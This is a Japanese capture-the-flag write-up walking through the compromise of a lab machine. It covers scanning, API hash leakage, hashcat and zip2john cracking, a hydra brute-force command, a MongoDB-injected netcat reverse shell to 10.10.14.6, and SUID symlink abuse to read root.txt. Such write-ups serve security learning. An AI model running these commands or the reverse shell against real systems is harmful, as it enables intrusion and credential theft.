偵察/スキャン
nmapでスキャンします。
┌──(kali㉿kali)-[~] └─$ nmap -P0 -T4 -sC -sV -A -p- 10.10.10.58 Nmap scan report for 10.10.10.58 Host is up (0.18s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 dc5e34a625db43eceb40f4967b8ed1da (RSA) | 256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA) |_ 256 d878b85d85ffad7be6e2b5da1e526236 (ED25519) 3000/tcp open hadoop-datanode Apache Hadoop |_http-trane-info: Problem with XML parsing of /evox/about |_http-title: MyPlace | hadoop-tasktracker-info: |_ Logs: /login | hadoop-datanode-info: |_ Logs: /login Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at
TCP/22,3000が開いていることがわかりました。
TCP/3000で待ち受けているApache Hadoopとは、大規模データの蓄積・分析を分散処理技術によって実現するオープンソースのミドルウェアで、Apacheプロジェクトの元で、Hortonworks社、米国Yahoo!社、Cloudera社といった初期から参加していた企業に加えて、 Intel社、Microsoft社などより多くの企業のメンバーによって開発が続けられているもの、とのことです。
ブラウザでアクセスすると以下のような画面が表示されます。
dirbやgobusterを実行しようとすると以下のようなエラーが返され実行できません。
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/83af7740-5d76-4ce0-8e79-128200f6689d => 200 (Length: 3861). To continue please exclude the status code or the length
※どんなリクエストに対しても200を返すので、200を除外することで一応実行することができます。
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.10.58:3000 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 20 -s"204,301,302,307,401,403" -b ""
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.58:3000
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes: 204,301,302,307,401,403
[+] User Agent: gobuster/3.4
[+] Timeout: 10s
===============================================================
/uploads (Status: 301) [Size: 173] [--> /uploads/]
/assets (Status: 301) [Size: 171] [--> /assets/]
/vendor (Status: 301) [Size: 171] [--> /vendor/]
Progress: 207643 / 207644 (100.00%)
別の方法としてBurp Suiteのspiderでサイトの構成を確認できます。
上記結果の中にあるファイルにアクセスすると/api/userのパスが確認できました。
/api/usersにアクセスするとユーザー名とパスワードのハッシュが得られます。
ハッシュの種類を確認し、hashcatで解析します。
┌──(kali㉿kali)-[~/node] └─$ hashid dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af Analyzing 'dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af' [+] Snefru-256 [+] SHA-256 [+] RIPEMD-256 [+] Haval-256 [+] GOST R 34.11-94 [+] GOST CryptoPro S-Box [+] SHA3-256 [+] Skein-256 [+] Skein-512(256) ┌──(kali㉿kali)-[~/node] └─$ hashcat -h |grep 256 -u, --kernel-loops | Num | Manual workload tuning, set innerloop step size to X | -u 256 1400 | SHA2-256 | Raw Hash ┌──(kali㉿kali)-[~/node] └─$ hashcat -m 1400 dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af -a 0 /home/kali/rockyou.txt 130 ⨯ hashcat (v6.2.6) starting ※-a 0 アタックモード 0は辞書モード
上記を実行することでパスワードを取得できます。
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
manchester
取得できた認証情報「myP14ceAdm1nAcc0uNT/manchester」でログインします。
ログインするとバックアップファイルがダウンロードできます。
※ダウンロードかなり不安定で、中断することが多々ありました。
ダウンロードしたバックアップファイルはbase64でエンコードされています。
また、デコードしたファイルはzipファイルであることがわかります。
base64 -d myplace.backup > backup_decoded
file backup_decoded
unzip backup_decoded
Zipファイルにはパスワードがかかっています。
以下のコマンドでZipのパスワードを解析します。
zip2john backup_decoded > zip.hashjohn -wordlist=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt zip.hash
解析すると以下のパスワードが取得できます。
magicword
Zipファイルの中身を見ると「app.js」の中にMongoDBへアクセスする認証情報が見つかります。
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
※余談:Base64について
Base64はメール以外でも、Webサイトにファイルをアップロードするときに使用することもあります。
Base64では最後に「=」が付いているので、ここからBase64でエンコードされていることが推測できます。
※余談:認証ページ対するhydra
hydraを使ってみると13回目の施行でログイン成功と表示されますが、実際にはログインできませんでした。
┌──(kali㉿kali)-[~] └─$ hydra -V -f -l mark -P ./rockyou.txt node.htb -s 3000 http-post-form '/login:"username"\:^USER^,"password"\:^PASS^:Login Failed! Incorrect credentials were specified'
アクセス取得
上記で得られた情報をもとにsshでアクセスしてみます。
MongoDBの認証情報ですがSSHと同じでした。
pspyを実行すると定期的に実行されている「CMD: UID=1000 PID=1208 | /usr/bin/node /var/scheduler/app.js」が確認できました。
「app.js」の中を見ると、MongoDBドキュメントのプロパティに基づいてコマンドが実行されていることがわかります。
MongoDBでは、ドキュメントを「コレクション」として保存します。
app.js は「scheduler」という名前のMondodbデータベースに接続し、「tasks」という名前のコレクションを検索し、その内容をシェルコマンドとして実行しています。
そのため、MongoDBに接続し、リバースシェルのコマンドを登録します。
$ mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k
MongoDB shell version: 3.2.16
connecting to: localhost:27017/scheduler
> db.tasks.insertOne({"cmd":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4444 >/tmp/f"})
{
"acknowledged" : true,
"insertedId" : ObjectId("6001919a9b6e0212d49e4b24")
}
待ち受け側のターミナルで「tom」のアクセスが取得できました。
※余談:SUIDとSGIDについて
SUID(set user-ID)とSGID(set group-ID)はLinuxのパーミッションで、ビットが設定されているとプログラムの実行ユーザの権限ではなく、プログラムの所有ユーザ、グループの権限で実行されます。
SUID, SGIDビットのプログラムはユーザに対して高権限を与えるため、攻撃者に悪用されることもあります。
なお、2000はSGID、4000はSUIDです。
rootフラグの取得
※公式のWirteUpではBOFによる権限昇格が説明されていましたが、自分ではその方法で権限昇格ができませんでした。そのため、別の方法をとりました。
lse.shを使用すると、不審なSUIDのバイナリが見つかります。
/usr/local/bin/backup.
前に取得したバックアップファイルの中身を見ると「backup_key」が確認できます。
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
tomのアカウントで/tmpに移動し、新しいディレクトリ「test」を作成します。
作成したディレクトリを/root/root.txtにシンボリックリンクします。
次に、/backupを使用して、/tmp/test/ ディレクトリのバックアップを作成します
Webアクセスし、バックアップファイルをダウンロードします。
以前と同様の方法でデコードし、先ほど見つけたパスワード「magicword」を使用してファイルを解凍します。
解凍後、ファイルを開くとroot.txtが見つかります。
難しかった。。。
参考にさせていただいたサイト
貴重な情報をありがとうございます。